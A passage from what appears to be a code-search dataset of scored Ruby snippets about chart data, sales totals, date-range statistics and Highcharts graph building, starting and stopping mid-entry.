":1367910000000,\"y\":39},{\"x\":1367996400000,\"y\":37},{\"x\":1368082800000,\"y\":53},{\"x\":1368169200000,\"y\":54},{\"x\":1368255600000,\"y\":19},{\"x\":1368342000000,\"y\":20},{\"x\":1368428400000,\"y\":40},{\"x\":1368514800000,\"y\":35},{\"x\":1368601200000,\"y\":42},{\"x\":1368687600000,\"y\":41},{\"x\":1368774000000,\"y\":52},{\"x\":1368860400000,\"y\":28},{\"x\":1368946800000,\"y\":31},{\"x\":1369033200000,\"y\":44},{\"x\":1369119600000,\"y\":46},{\"x\":1369206000000,\"y\":40},{\"x\":1369292400000,\"y\":45},{\"x\":1369378800000,\"y\":47},{\"x\":1369465200000,\"y\":17},{\"x\":1369551600000,\"y\":19},{\"x\":1369638000000,\"y\":23},{\"x\":1369724400000,\"y\":35},{\"x\":1369810800000,\"y\":46},{\"x\":1369897200000,\"y\":52},{\"x\":1369983600000,\"y\":64},{\"x\":1370070000000,\"y\":32},{\"x\":1370156400000,\"y\":40},{\"x\":1370242800000,\"y\":41},{\"x\":1370329200000,\"y\":63},{\"x\":1370415600000,\"y\":71},{\"x\":1370502000000,\"y\":75},{\"x\":1370588400000,\"y\":93},{\"x\":1370674800000,\"y\":47},{\"x\":1370761200000,\"y\":27},{\"x\":1370847600000,\"y\":99},{\"x\":1370934000000,\"y\":99},{\"x\":1371020400000,\"y\":89},{\"x\":1371106800000,\"y\":102}]}},\"xAxis\":{\"type\":\"datetime\",\"maxZoom\":1209600000}}',\n 'column_comparison_with_negatives' => '{\"title\":{\"text\":\"<span>Column Comparison With Negative Values</span>\"},\"subtitle\":{\"text\":\"<span>Stuff</span>\"},\"tooltip\":{\"valuePrefix\":null,\"valueSuffix\":null},\"yAxis\":{\"title\":{\"text\":\"Activity\"}},\"series\":[{\"name\":\"One Thing\",\"data\":[{\"x\":1365836400000,\"y\":2},{\"x\":1365922800000,\"y\":2},{\"x\":1366009200000,\"y\":4},{\"x\":1366095600000,\"y\":6},{\"x\":1366182000000,\"y\":10},{\"x\":1366268400000,\"y\":8},{\"x\":1366354800000,\"y\":3},{\"x\":1366441200000,\"y\":3},{\"x\":1366527600000,\"y\":3},{\"x\":1366614000000,\"y\":4},{\"x\":1366700400000,\"y\":8},{\"x\":1366786800000,\"y\":11},{\"x\":1366873200000,\"y\":8},{\"x\":1366959600000,\"y\":5},{\"x\":1367046000000,\"y\":0},{\"x\":1367132400000,\"y\":2},{\"x\":1367218800000,\"y\":7},{\"x\":1367305200000,\"y\":1},{\"x\":1367391600000,\"y\":8},{\"x\":1367478000000,\"y\":3},{\"x\":1367564400000,\"y\":6},{\"x\":1367650800000,\"y\":4},{\"x\":1367737200000,\"y\":4},{\"x\":1367823600000,\"y\":6},{\"x\":1367910000000,\"y\":9},{\"x\":1367996400000,\"y\":11},{\"x\":1368082800000,\"y\":6},{\"x\":1368169200000,\"y\":9},{\"x\":1368255600000,\"y\":4},{\"x\":1368342000000,\"y\":3},{\"x\":1368428400000,\"y\":5},{\"x\":1368514800000,\"y\":5},{\"x\":1368601200000,\"y\":5},{\"x\":1368687600000,\"y\":12},{\"x\":1368774000000,\"y\":3},{\"x\":1368860400000,\"y\":5},{\"x\":1368946800000,\"y\":4},{\"x\":1369033200000,\"y\":5},{\"x\":1369119600000,\"y\":7},{\"x\":1369206000000,\"y\":10},{\"x\":1369292400000,\"y\":10},{\"x\":1369378800000,\"y\":9},{\"x\":1369465200000,\"y\":3},{\"x\":1369551600000,\"y\":3},{\"x\":1369638000000,\"y\":1},{\"x\":1369724400000,\"y\":3},{\"x\":1369810800000,\"y\":6},{\"x\":1369897200000,\"y\":8},{\"x\":1369983600000,\"y\":11},{\"x\":1370070000000,\"y\":10},{\"x\":1370156400000,\"y\":5},{\"x\":1370242800000,\"y\":2},{\"x\":1370329200000,\"y\":2},{\"x\":1370415600000,\"y\":4},{\"x\":1370502000000,\"y\":3},{\"x\":1370588400000,\"y\":8},{\"x\":1370674800000,\"y\":8},{\"x\":1370761200000,\"y\":1},{\"x\":1370847600000,\"y\":3},{\"x\":1370934000000,\"y\":7},{\"x\":1371020400000,\"y\":6},{\"x\":1371106800000,\"y\":7}],\"borderColor\":\"#666\",\"color\":\"#4371A9\"},{\"name\":\"Another Thing\",\"data\":[{\"x\":1365836400000,\"y\":-1},{\"x\":1365922800000,\"y\":0},{\"x\":1366009200000,\"y\":-2},{\"x\":1366095600000,\"y\":-2},{\"x\":1366182000000,\"y\":-2},{\"x\":1366268400000,\"y\":-2},{\"x\":1366354800000,\"y\":-3},{\"x\":1366441200000,\"y\":0},{\"x\":1366527600000,\"y\":0},{\"x\":1366614000000,\"y\":-5},{\"x\":1366700400000,\"y\":-3},{\"x\":1366786800000,\"y\":-6},{\"x\":1366873200000,\"y\":-1},{\"x\":1366959600000,\"y\":-3},{\"x\":1367046000000,\"y\":0},{\"x\":1367132400000,\"y\":-1},{\"x\":1367218800000,\"y\":-2},{\"x\":1367305200000,\"y\":-6},{\"x\":1367391600000,\"y\":-4},{\"x\":1367478000000,\"y\":-7},{\"x\":1367564400000,\"y\":-2},{\"x\":1367650800000,\"y\":-1},{\"x\":1367737200000,\"y\":-1},{\"x\":1367823600000,\"y\":-3},{\"x\":1367910000000,\"y\":-1},{\"x\":1367996400000,\"y\":-3},{\"x\":1368082800000,\"y\":-2},{\"x\":1368169200000,\"y\":-2},{\"x\":1368255600000,\"y\":0},{\"x\":1368342000000,\"y\":0},{\"x\":1368428400000,\"y\":-3},{\"x\":1368514800000,\"y\":-4},{\"x\":1368601200000,\"y\":-1},{\"x\":1368687600000,\"y\":-3},{\"x\":1368774000000,\"y\":-1},{\"x\":1368860400000,\"y\":-1},{\"x\":1368946800000,\"y\":0},{\"x\":1369033200000,\"y\":0},{\"x\":1369119600000,\"y\":-4},{\"x\":1369206000000,\"y\":-4},{\"x\":1369292400000,\"y\":-2},{\"x\":1369378800000,\"y\":-3},{\"x\":1369465200000,\"y\":0},{\"x\":1369551600000,\"y\":0},{\"x\":1369638000000,\"y\":-1},{\"x\":1369724400000,\"y\":-3},{\"x\":1369810800000,\"y\":-2},{\"x\":1369897200000,\"y\":-5},{\"x\":1369983600000,\"y\":-5},{\"x\":1370070000000,\"y\":-1},{\"x\":1370156400000,\"y\":0},{\"x\":1370242800000,\"y\":-2},{\"x\":1370329200000,\"y\":-5},{\"x\":1370415600000,\"y\":-2},{\"x\":1370502000000,\"y\":-6},{\"x\":1370588400000,\"y\":-3},{\"x\":1370674800000,\"y\":-1},{\"x\":1370761200000,\"y\":-1},{\"x\":1370847600000,\"y\":-1},{\"x\":1370934000000,\"y\":-3},{\"x\":1371020400000,\"y\":-5},{\"x\":1371106800000,\"y\":-2}],\"borderColor\":\"#666\",\"color\":\"#89A648\"},{\"name\":\"Still Another\",\"data\":[{\"x\":1365836400000,\"y\":-2},{\"x\":1365922800000,\"y\":-3},{\"x\":1366009200000,\"y\":-2},{\"x\":1366095600000,\"y\":-3},{\"x\":1366182000000,\"y\":-3},{\"x\":1366268400000,\"y\":-5},{\"x\":1366354800000,\"y\":-1},{\"x\":1366441200000,\"y\":-5},{\"x\":1366527600000,\"y\":-2},{\"x\":1366614000000,\"y\":-1},{\"x\":1366700400000,\"y\":0},{\"x\":1366786800000,\"y\":-1},{\"x\":1366873200000,\"y\":-4},{\"x\":1366959600000,\"y\":-5},{\"x\":1367046000000,\"y\":-3},{\"x\":1367132400000,\"y\":0},{\"x\":1367218800000,\"y\":-2},{\"x\":1367305200000,\"y\":-2},{\"x\":1367391600000,\"y\":-5},{\"x\":1367478000000,\"y\":-2},{\"x\":1367564400000,\"y\":-5},{\"x\":1367650800000,\"y\":-1},{\"x\":1367737200000,\"y\":-2},{\"x\":1367823600000,\"y\":-3},{\"x\":1367910000000,\"y\":-2},{\"x\":1367996400000,\"y\":-4},{\"x\":1368082800000,\"y\":-4},{\"x\":1368169200000,\"y\":-5},{\"x\":1368255600000,\"y\":-3},{\"x\":1368342000000,\"y\":-4},{\"x\":1368428400000,\"y\":-4},{\"x\":1368514800000,\"y\":-2},{\"x\":1368601200000,\"y\":-5},{\"x\":1368687600000,\"y\":-3},{\"x\":1368774000000,\"y\":-7},{\"x\":1368860400000,\"y\":-4},{\"x\":1368946800000,\"y\":-4},{\"x\":1369033200000,\"y\":-5},{\"x\":1369119600000,\"y\":-6},{\"x\":1369206000000,\"y\":-1},{\"x\":1369292400000,\"y\":-1},{\"x\":1369378800000,\"y\":-6},{\"x\":1369465200000,\"y\":-1},{\"x\":1369551600000,\"y\":-6},{\"x\":1369638000000,\"y\":-2},{\"x\":1369724400000,\"y\":-5},{\"x\":1369810800000,\"y\":-2},{\"x\":1369897200000,\"y\":-5},{\"x\":1369983600000,\"y\":-8},{\"x\":1370070000000,\"y\":-7},{\"x\":1370156400000,\"y\":-4},{\"x\":1370242800000,\"y\":-7},{\"x\":1370329200000,\"y\":-5},{\"x\":1370415600000,\"y\":-2},{\"x\":1370502000000,\"y\":-5},{\"x\":1370588400000,\"y\":-5},{\"x\":1370674800000,\"y\":-4},{\"x\":1370761200000,\"y\":-3},{\"x\":1370847600000,\"y\":-7},{\"x\":1370934000000,\"y\":-11},{\"x\":1371020400000,\"y\":-10},{\"x\":1371106800000,\"y\":-4}],\"borderColor\":\"#666\",\"color\":\"#9BD815\"},{\"name\":\"More Stuff\",\"data\":[{\"x\":1365836400000,\"y\":0},{\"x\":1365922800000,\"y\":0},{\"x\":1366009200000,\"y\":0},{\"x\":1366095600000,\"y\":0},{\"x\":1366182000000,\"y\":0},{\"x\":1366268400000,\"y\":0},{\"x\":1366354800000,\"y\":-3},{\"x\":1366441200000,\"y\":0},{\"x\":1366527600000,\"y\":0},{\"x\":1366614000000,\"y\":-1},{\"x\":1366700400000,\"y\":0},{\"x\":1366786800000,\"y\":0},{\"x\":1366873200000,\"y\":0},{\"x\":1366959600000,\"y\":0},{\"x\":1367046000000,\"y\":0},{\"x\":1367132400000,\"y\":0},{\"x\":1367218800000,\"y\":-1},{\"x\":1367305200000,\"y\":0},{\"x\":1367391600000,\"y\":-1},{\"x\":1367478000000,\"y\":0},{\"x\":1367564400000,\"y\":0},{\"x\":1367650800000,\"y\":0},{\"x\":1367737200000,\"y\":0},{\"x\":1367823600000,\"y\":-1},{\"x\":1367910000000,\"y\":0},{\"x\":1367996400000,\"y\":-1},{\"x\":1368082800000,\"y\":-1},{\"x\":1368169200000,\"y\":0},{\"x\":1368255600000,\"y\":0},{\"x\":1368342000000,\"y\":0},{\"x\":1368428400000,\"y\":0},{\"x\":1368514800000,\"y\":0},{\"x\":1368601200000,\"y\":0},{\"x\":1368687600000,\"y\":0},{\"x\":1368774000000,\"y\":-5},{\"x\":1368860400000,\"y\":0},{\"x\":1368946800000,\"y\":0},{\"x\":1369033200000,\"y\":-1},{\"x\":1369119600000,\"y\":0},{\"x\":1369206000000,\"y\":0},{\"x\":1369292400000,\"y\":-1},{\"x\":1369378800000,\"y\":0},{\"x\":1369465200000,\"y\":0},{\"x\":1369551600000,\"y\":0},{\"x\":1369638000000,\"y\":-7},{\"x\":1369724400000,\"y\":-1},{\"x\":1369810800000,\"y\":-2},{\"x\":1369897200000,\"y\":0},{\"x\":1369983600000,\"y\":-1},{\"x\":1370070000000,\"y\":0},{\"x\":1370156400000,\"y\":0},{\"x\":1370242800000,\"y\":0},{\"x\":1370329200000,\"y\":-1},{\"x\":1370415600000,\"y\":0},{\"x\":1370502000000,\"y\":-2},{\"x\":1370588400000,\"y\":0},{\"x\":1370674800000,\"y\":0},{\"x\":1370761200000,\"y\":0},{\"x\":1370847600000,\"y\":-2},{\"x\":1370934000000,\"y\":-4},{\"x\":1371020400000,\"y\":-1},{\"x\":1371106800000,\"y\":-3}],\"borderColor\":\"#666\",\"color\":\"#ff9d48\"}],\"navigator\":{\"series\":{\"type\":\"area\",\"data\":[{\"x\":1365836400000,\"y\":3},{\"x\":1365922800000,\"y\":3},{\"x\":1366009200000,\"y\":4},{\"x\":1366095600000,\"y\":5},{\"x\":1366182000000,\"y\":5},{\"x\":1366268400000,\"y\":7},{\"x\":1366354800000,\"y\":7},{\"x\":1366441200000,\"y\":5},{\"x\":1366527600000,\"y\":2},{\"x\":1366614000000,\"y\":7},{\"x\":1366700400000,\"y\":3},{\"x\":1366786800000,\"y\":7},{\"x\":1366873200000,\"y\":5},{\"x\":1366959600000,\"y\":8},{\"x\":1367046000000,\"y\":3},{\"x\":1367132400000,\"y\":1},{\"x\":1367218800000,\"y\":5},{\"x\":1367305200000,\"y\":8},{\"x\":1367391600000,\"y\":10},{\"x\":1367478000000,\"y\":9},{\"x\":1367564400000,\"y\":7},{\"x\":1367650800000,\"y\":2},{\"x\":1367737200000,\"y\":3},{\"x\":1367823600000,\"y\":7},{\"x\":1367910000000,\"y\":3},{\"x\":1367996400000,\"y\":8},{\"x\":1368082800000,\"y\":7},{\"x\":1368169200000,\"y\":7},{\"x\":1368255600000,\"y\":3},{\"x\":1368342000000,\"y\":4},{\"x\":1368428400000,\"y\":7},{\"x\":1368514800000,\"y\":6},{\"x\":1368601200000,\"y\":6},{\"x\":1368687600000,\"y\":6},{\"x\":1368774000000,\"y\":13},{\"x\":1368860400000,\"y\":5},{\"x\":1368946800000,\"y\":4},{\"x\":1369033200000,\"y\":6},{\"x\":1369119600000,\"y\":10},{\"x\":1369206000000,\"y\":5},{\"x\":1369292400000,\"y\":4},{\"x\":1369378800000,\"y\":9},{\"x\":1369465200000,\"y\":1},{\"x\":1369551600000,\"y\":6},{\"x\":1369638000000,\"y\":10},{\"x\":1369724400000,\"y\":9},{\"x\":1369810800000,\"y\":6},{\"x\":1369897200000,\"y\":10},{\"x\":1369983600000,\"y\":14},{\"x\":1370070000000,\"y\":8},{\"x\":1370156400000,\"y\":4},{\"x\":1370242800000,\"y\":9},{\"x\":1370329200000,\"y\":11},{\"x\":1370415600000,\"y\":4},{\"x\":1370502000000,\"y\":13},{\"x\":1370588400000,\"y\":8},{\"x\":1370674800000,\"y\":5},{\"x\":1370761200000,\"y\":4},{\"x\":1370847600000,\"y\":10},{\"x\":1370934000000,\"y\":18},{\"x\":1371020400000,\"y\":16},{\"x\":1371106800000,\"y\":9}]}},\"xAxis\":{\"type\":\"datetime\",\"maxZoom\":1209600000}}'\n }\n render text: charts[params[:type].to_s]\n end", "title": "" }, { "docid": "a2ceed40473486bb3158b239c5b61433", "score": "0.5432037", "text": "def get_stats_for_graph(stats_models, start_date, end_date, listing_id = nil)\n # get date arrays => [year, month, day]\n sd, ed = Time.parse(start_date).to_a[3,3].reverse, Time.parse(end_date).to_a[3,3].reverse\n date_range = Date.new(*sd)..Date.new(*ed)\n plot_data = {}\n counts = []\n conditions = { :conditions => ['created_at >= ? AND created_at <= ?', sd.join('-'), ed.join('-')], :order => 'created_at' }\n \n stats_models.split(/,\\W?/).each do |stat|\n stats = unless listing_id.nil?\n self.listings.find(listing_id).send(stat).all conditions\n else\n self.listings.map { |listing| listing.send(stat).all conditions }.flatten\n end\n \n date_range.each do |date|\n d = Time.parse(date.to_s).to_a[3,3]\n # select the stats models that were created on the same year, month, day\n stat_count = stats.select { |s| s.created_at.to_a[3,3][2] == d[2] && s.created_at.to_a[3,3][1] == d[1] && s.created_at.to_a[3,3][0] == d[0] }.size\n counts << stat_count\n (plot_data[stat.to_sym] ||= []) << [date.to_s, stat_count]\n end\n end\n \n { :data => plot_data, :min => counts.min, :max => counts.max }\n end", "title": "" }, { "docid": "0fa5c7b65075ca030abd14752a078d4d", "score": "0.54248714", "text": "def summarize_data(params)\n summary = []\n detail_level = params['detail'] # number of boxes to show\n\n\n date_range = params['date_range']\n puts \"date_range= #{date_range}\"\n\n start_date = end_date = 0\n if (date_range && date_range != '')\n dates = date_range.split(\",\")\n start_date = dates[0].to_i; end_date = dates[1].to_i\n end\n\n data_cnt = 0\n $data.each do |x|\n if (start_date > 0)\n break if (x[0] > end_date)\n if (x[0] < start_date || x[0] > end_date)\n next\n end\n end\n data_cnt += 1\n end\n\n if (detail_level == \"ALL\")\n box_count = data_cnt\n else\n box_count = detail_level.to_i\n end\n\n group_size = data_cnt / box_count\n\n if (group_size < 1)\n group_size = 1\n elsif (group_size < 4)\n group_size = 1\n box_count = data_cnt\n end\n\n puts \"group_size=#{group_size}\"\n puts \"s_date=#{start_date}\"\n puts \"e_date=#{end_date}\"\n\n count= 0; total = 0\n list = []; dlist = []\n start_time = 0\n box_count = 0\n result_start = result_end = 0\n $data.each_with_index do |x, index|\n if (start_date > 0)\n break if (x[0] > end_date)\n if (x[0] < start_date || x[0] > end_date)\n next\n end\n end\n if (result_start == 0)\n result_start = x[0]\n end\n result_end = x[0]\n total += 1\n count += 1\n list << x[1]\n dlist << x[0]\n\n if (count == group_size)\n\n box_count += 1\n if (group_size == 1)\n v = list[0]\n summary << {'stime' => dlist[0] , 'etime' => dlist[0] , 'size' => 1,\n 'min' => v, 'max' => v, 'low' => v, 'med' => v, 'high' => v, 'avg' => v }\n else\n delta = 0;\n if (index+1 < $data.length)\n delta = ($data[index+1][0] - $data[index][0]) # time space between points\n #puts \"delta = #{delta}\"\n end\n summarize(dlist, list, summary, delta)\n\n end\n list = []; dlist = []\n count= 0; start_time =0\n\n end\n\n end\n if (list.length > 0)\n summarize(dlist, list, summary, 0)\n box_count += 1\n end\n\n delta = 1;\n if (summary.length > 1)\n delta = summary[1]['stime'] - summary[0]['stime']\n end\n puts \"result_start = #{result_start}, end=#{result_end}, group_size=#{group_size}, box_count=#{box_count}\"\n puts \"delta = #{delta}\"\n s1 = Time.at(result_start/1000)\n s2 = Time.at(result_end/1000)\n\n json ({'start' => s1.strftime(\"%b-%d-%Y\"),\n 'end' => s2.strftime(\"%b-%d-%Y\"),\n 'start_time' => s1.strftime(\"%b-%d-%Y %H:%M\"),\n 'end_time' => s2.strftime(\"%b-%d-%Y %H:%M\"),\n 'group_size' => group_size, 'delta' => delta,\n 'point_count' => total, 'box_count' => box_count,\n 'data' => summary })\nend", "title": "" }, { "docid": "c748140d4fb6c8b7cbb3eff283427a96", "score": "0.5423815", "text": "def aggregate_usage_between start_date, end_date\n aggregate_usage_from_daily_aggregations_between start_date, end_date\n# Get the time periods to aggregate from Billing\n billing_time_periods = Billing.time_periods\n\n# Calculate for each period\n billing_time_periods.each do |time_period|\n start_numerator = 30 * time_period[:start]\n end_numerator = 30 * time_period[:end]\n\n sql = \"SELECT meter_serial, (SELECT SUM((SELECT SUM(s1) FROM \\\n UNNEST(values[#{start_numerator}/meter_interval+1:#{end_numerator}/meter_interval]) s1 \\\n GROUP BY meter_serial)) s2 GROUP BY meter_serial) AS usage FROM meter_records WHERE date >= '#{start_date}' \\\n AND date <= '#{end_date}' GROUP BY meter_serial ORDER BY meter_serial;\"\n results = ActiveRecord::Base.connection.raw_connection.exec sql\n# results = ActiveRecord::Base.transaction { ActiveRecord::Base.connection.raw_connection.exec sql }\n #results = ActiveRecord::Base.connection.exec_query(sql)\n #render_resultset results\n end\n end", "title": "" }, { "docid": "1507df9af9c04ac458902e47882ff34b", "score": "0.5417884", "text": "def sales_for(date)\n sales.select {|sale| sale[:date] == date}\nend", "title": "" }, { "docid": "58518e910e4a393e25b937eff30c0e15", "score": "0.5411963", "text": "def index\n # @sales = Sale.all\n @sales1_grid = initialize_grid(Sale)\n# @sales_grid_test = initialize_grid(Sale.select(\"line\", \"qtysold\").group(:line).sum('qtysold'))\n\n @sales_grid = initialize_grid(Sale.select(\"sid, date, line, part, sum(sell) as sell, sum(qtysold) as qtysold\"),\n conditions: ['date >= ?', '2014-06-15'],\n order: :sell,\n order_direction: 'desc',\n group: 'line')\n\n\n @t=2\n end", "title": "" }, { "docid": "fe6d7dbbb2a939578f4586b249bd7c83", "score": "0.5409275", "text": "def daily_gross_sales\n @daily_gross_sales ||= daily_payments.sum(:amount)\n end", "title": "" }, { "docid": "e18becd9f2cdc4abfba9ed46d11dd98a", "score": "0.5405231", "text": "def series(entity, start, finish, type)\n return __series(entity, {\"start\" => start, \"end\" => finish, \"period\" => type})\n end", "title": "" }, { "docid": "9d965f8faff6618b84f5ea94fea55f3d", "score": "0.54045916", "text": "def show_all_lengths\n @item = Item.find(params[:id])\n @item_all = Item\n @items = @item_all.where(\"part_number = ?\", @item.part_number)\n \n \n @daily_inventories = DailyInventory\n \n \n @h = LazyHighCharts::HighChart.new('graph') do |f|\n f.options[:chart][:height] = 900\n f.options[:chart][:type] = \"line\"\n f.options[:chart][:zoomType] = \"x\"\n #f.options[:plotOptions][:line][:marker][:enabled] = false\n last_inv = 0\n @items.each do |i|\n inv_data = Array.new\n @inventory = @daily_inventories.where(\"item_number = ?\", i.item_number)\n @inventory.each do |inv|\n change = inv.quantity #- last_inv\n last_inv = inv.quantity\n inv_data.push([inv.datetime,change])\n #f.options[:tooltip][:valueSuffix] = inv.quantity.to_s\n end\n \n f.series(:name=>i.part_length, :data=>inv_data)\n end\n #f.series(:name=>'John', :data=>inv_data) #[3, 20, 3, 5, 4, 10, 12 ,3, 5,6,7,7,80,9,9])\n #f.series(:name=>'Jane', :data=> [1, 3, 4, 3, 3, 5, 4,-46,7,8,8,9,9,0,0,9] )\n end \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "title": "" }, { "docid": "8bc2be98976dfa2baef2364f75e5340d", "score": "0.5400063", "text": "def custom_comp_dated(results)\n # Check for empty results set\n if !(results.present?)\n return\n end\n\n # Get months and years for x-axis labels\n labels = []\n results.each do |row|\n month = row[\"month\"]\n year = row[\"year\"]\n label = month.to_s + \"/\" + year.to_s[-2..-1]\n labels |= [label]\n end\n\n # Get company labels\n companies = []\n results.each do |row|\n # Uniquely appends each company name\n companies |= [row[\"name\"]]\n end\n\n # Get empty array with enough room for each unique month/year\n date_set = []\n for x in labels do\n date_set << 0\n end\n\n datasets = []\n for i in companies do\n ind = 0\n data = []\n data += date_set\n results.each do |row|\n if row[\"name\"] == i\n # While month or year are not the same (and still in range of labels)\n while (ind < labels.size-1 &&\n (row[\"year\"].to_s[-2..-1] != labels[ind][-2..-1] ||\n row[\"month\"].to_s != labels[ind].split(\"/\")[0]))\n data[ind] = 0\n ind += 1\n end\n if (ind < labels.size)\n if (row[\"year\"].to_s[-2..-1] == labels[ind][-2..-1] &&\n row[\"month\"].to_s == labels[ind].split(\"/\")[0])\n data[ind] = row[\"month_count\"]\n end\n end\n ind += 1\n end\n end\n datasets << data.reverse\n end\n # Put labels in chronological order\n labels = labels.reverse\n\n # At this point, datasets is two-dimensional array\n # Each internal array includes the data for each company\n # [[1, 2, 3,...], [1, 2, 3,...]] \n # First array is Company A, month/year combination 1, 2, 3,...;\n # Second array is Company B, etc.\n \n # Generate the data blocks\n datablocks = [];\n companies_index = 0;\n for i in datasets do\n block = {}\n block[\"data\"] = i\n block[\"label\"] = companies[companies_index]\n block[\"borderColor\"] = get_color(companies_index)\n block[\"fill\"] = false\n block[\"x_axis\"] = labels\n datablocks << block\n companies_index += 1\n end\n return datablocks\n end", "title": "" }, { "docid": "2ecbae4250dd57d7f6002dd36ae57678", "score": "0.53982794", "text": "def show\n @value = Value.where(cid: params[:id])\n @saisoninfo = Saisoninfo.where(cid: params[:id])\n\n\n\n\n @date_array= []\n @spieler_value = []\n @value.to_a.each do |t|\n @spieler_value.push(t.value)\n @date_array.push(t.date)\n end\n\n\n if @value.count >= 14\n @seven_day_avg=Indicators::Data.new(@spieler_value.compact).calc(:type=>:sma, :params=>14).output\n 3.times {@seven_day_avg=@seven_day_avg.drop(1).push(nil)}\n else\n @seven_day_avg = []\n end\n\n\n\n @spieltag_punkte_plus =[]\n @spieltag_punkte_minus =[]\n\n\n\n if @saisoninfo.sum(:einsatz) >= 1\n @saisoninfo.distinct.pluck(:date).each do |date|\n if @saisoninfo.where(date: date).pluck(:punkte)[0] == nil\n next\n elsif @saisoninfo.where(date: date).pluck(:punkte)[0] >= 0\n @spieltag_punkte_plus.insert(@date_array.index(date).to_i ,@saisoninfo.where(date: date).pluck(:punkte)[0].to_i)\n else\n @spieltag_punkte_minus.insert(@date_array.index(date).to_i ,(@saisoninfo.where(date: date).pluck(:punkte)[0]*-1).to_i)\n end\n end\n else\n @spieltag_punkte_plus =[]\n @spieltag_punkte_minus =[]\n end\n\n if @spieltag_punkte_plus.empty? && @spieltag_punkte_minus.empty?\n xaxismax = 10\n else\n if (@spieltag_punkte_plus+@spieltag_punkte_minus).map(&:to_i).max <= 6\n xaxismax = 10\n else\n xaxismax = (@spieltag_punkte_plus+@spieltag_punkte_minus).map(&:to_i).max+5\n end\n end\n\n @chart_globals = LazyHighCharts::HighChartGlobals.new do |f|\n f.global(useUTC: false)\n f.chart(\n backgroundColor:\"rgba(255, 255, 255, 0.65)\",\n plotShadow: true,\n plotBorderWidth: 1)\n f.lang(thousandsSep: \",\")\n f.plotOptions(line: {marker: {enabled: false}})\n end\n\n @spieler_mw = LazyHighCharts::HighChart.new('graph') do |f|\n f.chart({defaultSeriesType: \"line\"})\n f.series(name: \"Marktwert\", yAxis: 0, data: @spieler_value, color: \"#666699\")\n f.series(name: \"14-Tage Durchschnitt\", yAxis: 0, data: @seven_day_avg, color: \"#D2691E\",enableMouseTracking: false)\n f.series(:type => 'column',name: \"Plus-Punkte\", yAxis: 1, data: @spieltag_punkte_plus, color: \"#2eb82e\")\n f.series(:type => 'column',name: \"Minus-Punkte\", yAxis: 1, data: @spieltag_punkte_minus, color: \"#ff1313\")\n\n f.yAxis [\n {:title => {:text => \"Marktwert in Millionen\"},gridLineWidth: 0, minorGridLineWidth: 0, },\n {:title => {:text => \"Punkte\"}, :opposite => true,gridLineWidth: 0, minorGridLineWidth: 0,\n allowDecimals: false,max: xaxismax}\n ]\n f.legend(enabled: true)\n f.xAxis(categories: @date_array,minTickInterval: 7)\n end\n\n\n\n @verein = @player.verein\n\n\n\n\n\n\n\n @tw_value=[]\n torwartlist=Player.where(position: \"Torhüter\").pluck(:id)\n\n Value.where(cid: torwartlist).group(:date).sum(:value).each do |key,value|\n @tw_value.push(value)\n end\n\n @tw_marktwert_gesamt = LazyHighCharts::HighChart.new('tw_marktwert_gesamt') do |f|\n f.chart({defaultSeriesType: \"area\"})\n f.series(name: \"Marktwert\", yAxis: 0, data: @tw_value, color: \"#666699\")\n\n f.yAxis [{:title => {:text => \"Marktwert in Millionen\"},gridLineWidth: 0, minorGridLineWidth: 0, }\n ]\n f.legend(enabled: true)\n f.xAxis(categories: @date_array,minTickInterval: 7)\n end\n\n\n end", "title": "" }, { "docid": "93ed384b52dbf940370a055adef6e84d", "score": "0.53959185", "text": "def totalsales(toy)\n\tprices = 0\n\ttoy[\"purchases\"].each {|pris| prices+= pris[\"price\"]}\n\tprices\nend", "title": "" }, { "docid": "ca7eeba1882b18e60cbd2cf1162bcadc", "score": "0.53929055", "text": "def make_product_section_business_logic(products,products_results_to_print)\n\n\t# For each product in the data set:\n\tproducts[\"items\"].each do |toy|\n\n\t # (1) Print the name of the toy\n\t\tproducts_results_to_print.push(\"#{$separtor}\\nProduct reference: #{toy[\"title\"]}\")\n\n\t # (2) Print the retail price of the toy\n\t\tproducts_results_to_print.push(\"Retail price: #{toy[\"full-price\"]}$\")\n\n\t # (3) Calculate and print the total number of purchases\n\t\tproducts_results_to_print.push(\"Number of purchases for this reference: #{toy[\"purchases\"].length}\")\n\n\t # (4) Calculate and print the total amount of sales\n total_amount_sales = cumulated_result(toy[\"purchases\"],total_amount_sales,\"price\")\n\t\tproducts_results_to_print.push(\"Total amount of sales without the shipping cost: #{total_amount_sales}$\")\n\n\t # (5) Calculate and print the average price the toy sold for\n\t\tproducts_results_to_print.push(\"Average price for the reference without the shipping cost: #{total_amount_sales/toy[\"purchases\"].length}$\")\n\n\t # (6) Calculate and print the average discount (% or $) based off the average sales price\n\t\tproducts_results_to_print.push(\"Average of discount: #{(toy[\"full-price\"].to_f-(total_amount_sales/toy[\"purchases\"].length)).round(2)}$\")\n\t products_results_to_print.push(\"Percentage of discount: #{((toy[\"full-price\"].to_f-(total_amount_sales/toy[\"purchases\"].length))/toy[\"full-price\"].to_f).round(2)*100}%\")\n\n\tend\nend", "title": "" }, { "docid": "97e2b5990d9b76c9b6cd90a6f680079b", "score": "0.5389918", "text": "def get_click_stats(start_date:, end_date:, merchant_ids: nil, date_type:, offset: nil, limit: nil)\n call(\n :get_click_stats,\n dStartDate: start_date,\n dEndDate: end_date,\n aMerchantIds: merchant_ids,\n sDateType: date_type,\n iOffset: offset,\n iLimit: limit,\n )\n end", "title": "" }, { "docid": "d3a6c1d8c17a02c8eab3a5583ba7357f", "score": "0.5389409", "text": "def daily_data_over(from, to)\n #from = from.to_date; to = to.to_date\n\n DeviceDataPerDay.all(:select => \"AVG(duration) as duration_avg,\n AVG(miles) as miles_avg,\n AVG(speed_events) as speed_events_avg,\n AVG(geofence_events) as geofence_events_avg,\n AVG(idle_events) as idle_events_avg,\n AVG(aggressive_events) as aggressive_events_avg,\n AVG(after_hours_events) as after_hours_events_avg,\n AVG(mpg) as mpg_avg,\n AVG(first_start) as first_start_avg,\n AVG(last_stop) as last_stop_avg,\n SUM(duration) as duration_sum,\n SUM(miles) as miles_sum,\n SUM(speed_events) as speed_events_sum,\n SUM(geofence_events) as geofence_events_sum,\n SUM(idle_events) as idle_events_sum,\n SUM(aggressive_events) as aggressive_events_sum,\n SUM(after_hours_events) as after_hours_events_sum,\n SUM(mpg) as mpg_sum,\n SUM(first_start) as first_start_sum,\n SUM(last_stop) as last_stop_sum\",\n #:conditions => { :device_id => self.id})\n :conditions => {:date => from..to, :device_id => self.id})\n end", "title": "" }, { "docid": "e155ed803b6c1fd4b829fa06c477e2a9", "score": "0.53890735", "text": "def daily_cost(start_date, end_date, time_period_costs)\n # 